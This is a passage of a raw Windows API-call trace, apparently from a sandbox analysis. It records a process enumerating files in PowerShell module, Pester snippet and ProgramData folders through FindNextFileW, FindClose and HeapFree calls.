lpFindFileData=0x40bee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc8aa684, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3567e0f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4531b40 [0193.908] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc8aa684, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3567e0f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0193.908] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5117b441, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5117b441, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5117b441, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d38, dwReserved0=0x0, dwReserved1=0x0, cFileName="Context.snippets.ps1xml", cAlternateFileName="")) returned 1 [0193.908] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511551ea, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511551ea, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511551ea, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Describe.snippets.ps1xml", cAlternateFileName="")) returned 1 [0193.908] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5112ef90, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5112ef90, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5112ef90, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2cd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="It.snippets.ps1xml", cAlternateFileName="")) returned 1 [0193.908] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51108d39, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x51108d39, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x51108d39, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldBe.snippets.ps1xml", cAlternateFileName="")) returned 1 [0193.908] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511551ea, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511551ea, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511551ea, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d5f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldBeGreaterThan.snippets.ps1xml", cAlternateFileName="")) returned 1 [0193.908] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511c78fa, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511c78fa, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511c78fa, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d56, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldBeLessThan.snippets.ps1xml", cAlternateFileName="")) returned 1 [0193.908] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511a169b, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511a169b, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511a169b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldBeNullOrEmpty.snippets.ps1xml", cAlternateFileName="")) returned 1 [0193.909] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5112ef90, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5112ef90, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5112ef90, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d49, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldContain.snippets.ps1xml", cAlternateFileName="")) returned 1 [0193.909] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5112ef90, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5112ef90, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5112ef90, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d43, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldExist.snippets.ps1xml", cAlternateFileName="")) returned 1 [0193.909] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51108d39, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x51108d39, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x51108d39, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d43, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldMatch.snippets.ps1xml", cAlternateFileName="")) returned 1 [0193.909] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5117b441, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5117b441, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5117b441, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d43, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldNotBe.snippets.ps1xml", cAlternateFileName="")) returned 1 [0193.909] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511551ea, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511551ea, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511551ea, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d69, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldNotBeNullOrEmpty.snippets.ps1xml", cAlternateFileName="")) returned 1 [0193.909] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511a169b, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511a169b, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511a169b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d56, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldNotContain.snippets.ps1xml", cAlternateFileName="")) returned 1 [0193.909] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5112ef90, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5112ef90, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5112ef90, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldNotExist.snippets.ps1xml", cAlternateFileName="")) returned 1 [0193.909] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51108d39, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x51108d39, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x51108d39, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldNotMatch.snippets.ps1xml", cAlternateFileName="")) returned 1 [0193.910] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5112ef90, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5112ef90, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5112ef90, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d54, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldNotThrow.snippets.ps1xml", cAlternateFileName="")) returned 1 [0193.910] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5112ef90, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5112ef90, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5112ef90, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d47, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldThrow.snippets.ps1xml", cAlternateFileName="")) returned 1 [0193.910] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5112ef90, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5112ef90, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5112ef90, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d47, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldThrow.snippets.ps1xml", cAlternateFileName="")) returned 0 [0193.910] FindClose (in: hFindFile=0x4531b40 | out: hFindFile=0x4531b40) returned 1 [0194.211] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0194.285] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc8aa684, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3567e0f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Snippets", cAlternateFileName="")) returned 0 [0194.285] FindClose (in: hFindFile=0x4531ec0 | out: hFindFile=0x4531ec0) returned 1 [0194.285] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0194.286] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc8ab4af, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7cca5f, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3.4.0", cAlternateFileName="34AE2D~1.0")) returned 1 [0194.287] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0194.287] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x987224f6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x987224f6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x987224f6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2e8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Build.bat", cAlternateFileName="")) returned 1 [0194.287] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0194.287] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc8acf9a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Examples", cAlternateFileName="")) returned 1 [0194.288] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0194.288] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc8adae3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7cca5f, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Validator", cAlternateFileName="VALIDA~1")) returned 1 [0194.288] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0194.289] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc8adae3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7cca5f, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Validator", cAlternateFileName="VALIDA~1")) returned 0 [0194.289] FindClose (in: hFindFile=0x4531b40 | out: hFindFile=0x4531b40) returned 1 [0194.289] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0194.289] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc8fc051, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7f2cc1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Functions", cAlternateFileName="FUNCTI~1")) returned 1 [0194.292] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0194.293] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e314c8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e314c8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e314c8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BreakAndContinue.Tests.ps1", cAlternateFileName="")) returned 1 [0194.294] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0194.294] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98794c2c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x98794c2c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x98794c2c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x263, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LICENSE", cAlternateFileName="")) returned 1 [0194.297] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0194.297] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc9fd9a2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a83f191, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Snippets", cAlternateFileName="")) returned 0 [0194.297] FindClose (in: hFindFile=0x4531980 | out: hFindFile=0x4531980) returned 1 [0194.297] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0194.300] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc8ab4af, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7cca5f, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3.4.0", cAlternateFileName="34AE2D~1.0")) returned 0 [0194.300] FindClose (in: hFindFile=0x4531c40 | out: hFindFile=0x4531c40) returned 1 [0194.300] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0194.300] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc9fecb3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PowerShellGet", cAlternateFileName="POWERS~1")) returned 1 [0194.301] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0194.301] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a83f191, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5eab1ff, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5eab1ff, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xadf, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PowerShellGet.psd1", cAlternateFileName="POWERS~1.PSD")) returned 1 [0194.302] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0194.302] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbca000ca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 0 [0194.302] FindClose (in: hFindFile=0x4531bc0 | out: hFindFile=0x4531bc0) returned 1 [0194.302] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0194.302] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc9fecb3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PowerShellGet", cAlternateFileName="POWERS~1")) returned 0 [0194.302] FindClose (in: hFindFile=0x4531e80 | out: hFindFile=0x4531e80) returned 1 [0194.302] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0194.304] FindNextFileW (in: hFindFile=0x4531c00, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65e250, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Modules", cAlternateFileName="")) returned 0 [0194.304] FindClose (in: hFindFile=0x4531c00 | out: hFindFile=0x4531c00) returned 1 [0194.304] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0194.305] FindNextFileW (in: hFindFile=0x4532140, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65c04f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xae3, dwReserved1=0xffffc2f2, cFileName="WindowsPowerShell", cAlternateFileName="WID5B1~1")) returned 0 [0194.305] FindClose (in: hFindFile=0x4532140 | out: hFindFile=0x4532140) returned 1 [0194.305] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3780730 | out: hHeap=0x710000) returned 1 [0194.305] FindNextFileW (in: hFindFile=0x72a3c8, lpFindFileData=0x40bfcf8 | out: lpFindFileData=0x40bfcf8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x450f4738, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x450f4738, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 1 [0194.314] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0194.314] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8d2868f, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xa7140105, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xa7140105, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Reader_15.023.20070", cAlternateFileName="READER~2.200")) returned 1 [0194.315] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0194.315] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xdcb711fb, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0x3c33d412, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x4b9b7315, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="S", cAlternateFileName="")) returned 1 [0194.316] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0194.316] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xdcb711fb, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0x3c33d412, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x4b9b7315, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="S", cAlternateFileName="")) returned 0 [0194.316] FindClose (in: hFindFile=0x4532300 | out: hFindFile=0x4532300) returned 1 [0194.316] HeapFree (in: hHeap=0x710000, 